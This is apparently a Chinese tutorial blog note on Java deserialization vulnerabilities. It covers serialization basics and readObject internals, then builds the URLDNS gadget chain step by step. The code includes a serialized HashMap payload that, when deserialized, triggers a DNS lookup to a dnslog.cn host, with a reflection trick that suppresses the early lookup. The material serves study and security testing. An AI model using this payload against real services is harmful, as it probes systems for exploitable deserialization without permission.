java安全-反序列化

一、序列化与反序列化

1.什么是序列化与反序列化?

在 Java 的世界里,一切皆对象(Object)。对象存在于内存中,当程序停止运行时,内存中的对象就会消失。

想把这个对象:

  1. 保存下来(保存到文件、数据库);
  2. 传输给别人(通过网络发送到另一台服务器);

我们就需要一种机制来转换这个对象。

  • 序列化 (Serialization): 把内存中的“Java 对象”转换成“二进制字节流(byte stream)”的过程。
  • 反序列化 (Deserialization): 把“二进制字节流”恢复成“Java 对象”的过程。

2. Java 如何实现反序列化?

  1. java.io.Serializable 接口:只有实现了这个接口的类,其对象才能被序列化。
  2. ObjectOutputStream:负责序列化的方法。
  3. ObjectInputStream:负责反序列化的方法。

3.常见反序列化技术

  1. JSON (最主流):
    • 工具:Jackson, Gson, Fastjson。
    • 优点:文本格式,人类可读,跨语言通用(前端 JS 也能读)。
  2. XML:
    • 虽然老旧,但在某些传统行业(如银行接口)还在用。
  3. Protocol Buffers (Protobuf) / Thrift:
    • Google 和 Facebook 开发的。
    • 优点:二进制格式,体积极小,速度极快,适合高性能的微服务调用(RPC)。

4.反序列化底层原理

  • 读流readObject() 启动,校验魔数。
  • 加载类Class.forName(),检查 serialVersionUID
  • 分配内存
    • 本身:Unsafe.allocateInstance()(不调构造)。
    • 父类:如果父类没实现 Serializable调用父类无参构造
  • 数据恢复(分支路径)
    • 路径 A(普通):反射 field.set() 暴力赋值(transient 字段跳过)。
    • 路径 B(危险):发现有 readObject() 方法 -> 调用之 -> 此时可能触发恶意代码(RCE)。
  • 后续处理
    • 检查是否有 readResolve()(用于挽救单例)。
  • 返回对象:这就得到了一个完整的 Java 对象。

5.注意点

  • 静态变量无法序列化
  • transient 标识的对象成员变量不参与序列化
  • 为什么父类没实现 Serializable 时必须要有无参构造?
    • 反序列化不会执行构造方法,但它必须让所有“没有序列化能力的父类(非 Serializable)”通过无参构造方法来初始化基础状态。
  • 序列化类的属性没有实现 Serializable 那么在序列化就会报错

二、代码实现

1.复现代码

  • persion.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    public class Person implements Serializable {

    private String name;
    private int age;

    public Person(){

    }
    // 构造函数
    public Person(String name, int age){
    this.name = name;
    this.age = age;
    }

    @Override
    public String toString(){
    return "Person{" +
    "name='" + name + '\'' +
    ", age=" + age +
    '}';
    }
    }
  • SerializationTest.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    public class SerializationTest {
    public static void serialize(Object obj) throws IOException{
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
    Person person = new Person("aa",22);
    System.out.println(person);
    serialize(person);
    }
    }
  • UnserializeTest.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
    }
    public static void main(String[] args) throws Exception{
    Person person = (Person)unserialize("ser.bin");
    System.out.println(person);
    }
    }

2.反序列化漏洞成因

  • 在进行反序列化时,会调用被反序列化主函数而这个函数一般都为程序员自行改写的readObject函数
  • image-20251212222249115

3.常见形式

  • 入口类的 readObject 直接调用危险方法

    image-20251212222733856

  • 入口参数中包含可控类,该类有危险方法,readObject 时调用

  • 入口类参数中包含可控类,该类又调用其他有危险方法的类

1
2
3
入口类:source (重写 readObject 调用常见的函数;参数类型宽泛,比如可以传入一个类作为参数;最好 jdk 自带) 
找到入口类之后要找调用链 gadget chain 相同名称、相同类型
执行类 sink (RCE SSRF 写文件等等)比如 exec 这种函数

4.常见链dnslog分析

  • 寻找入口点

    HashMap中重写了readObject方法

    image-20251213152124264

    而该方法又调用了hash方法

    image-20251213152244895

    hash方法内部调用object类方法中hashcode方法,而该方法被许多类重写,从而导致可利用漏洞

    image-20251213152323215
  • 寻找可利用类

    我们发现URL类中重写了hashcode函数

    image-20251213152544904

    而该函数调用了抽象类URLStreamHandlerhashCode方法

    1
    transient URLStreamHandler handler;

    该方法存在解析服务器地址,即dns请求

    image-20251213152818539
  • 尝试利用

    故因此我们尝试利用该链实现dnslog探测

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    //反射获取URL类的hashCode字段
    Class URLClass = Class.forName("java.net.URL");
    Field hashCode = URLClass.getDeclaredField("hashCode");
    hashCode.setAccessible(true);

    Map<URL,Integer> map = new HashMap<>();
    URL url = new URL("https://3b6hft.dnslog.cn");

    //将hashCode字段值设置为1234,从而不会触发put时的hashCode计算
    hashCode.set(url,1234);

    map.put(url,1);

    //put完成之后设置其值为-1,从而导致之后反序列化时触发hashCode计算
    hashCode.set(url,-1);

    serialize(map);
    1
    unserialize("ser.bin");

    image-20251213154714102

4.”程咬金”

我们在利用时遇到一些问题,如下:

  • map.put(url,1);这个方法在put时,调用了hash函数

    image-20251213155052808

    进而计算hashcode值,改变了URL类下hashcode的值,并调用抽象类URLStreamHandlerhashCode方法,发起一次dns请求

    image-20251213155345530

    干扰了dnslog利用探测,在序列化之前就发生了dnslog解析

  • 由于被map.put(url,1);方法抢先调用hashcode解析请求,导致在反序列化文本字节流时,hashcode值早已不是-1,从而不会调用抽象类URLStreamHandlerhashCode方法,发起dns请求

    image-20251213155809529

    即进入下图上方if语句判断,不在发起dns请求

image-20251213155906394

于是,我们利用反射绕过逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
//反射获取URL类的hashCode字段
Class URLClass = Class.forName("java.net.URL");
Field hashCode = URLClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);

Map<URL,Integer> map = new HashMap<>();
URL url = new URL("https://tyws4h.dnslog.cn");
//将hashCode字段值设置为1234,从而不会触发put时的hashCode计算
hashCode.set(url,1234);
map.put(url,1);
//put完成之后设置其值为-1,从而导致之后反序列化时触发hashCode计算
hashCode.set(url,-1);
serialize(map);

由此,实现我们最终效果,只有在反序列化字节流时,触发dnslog请求

image-20251213160830573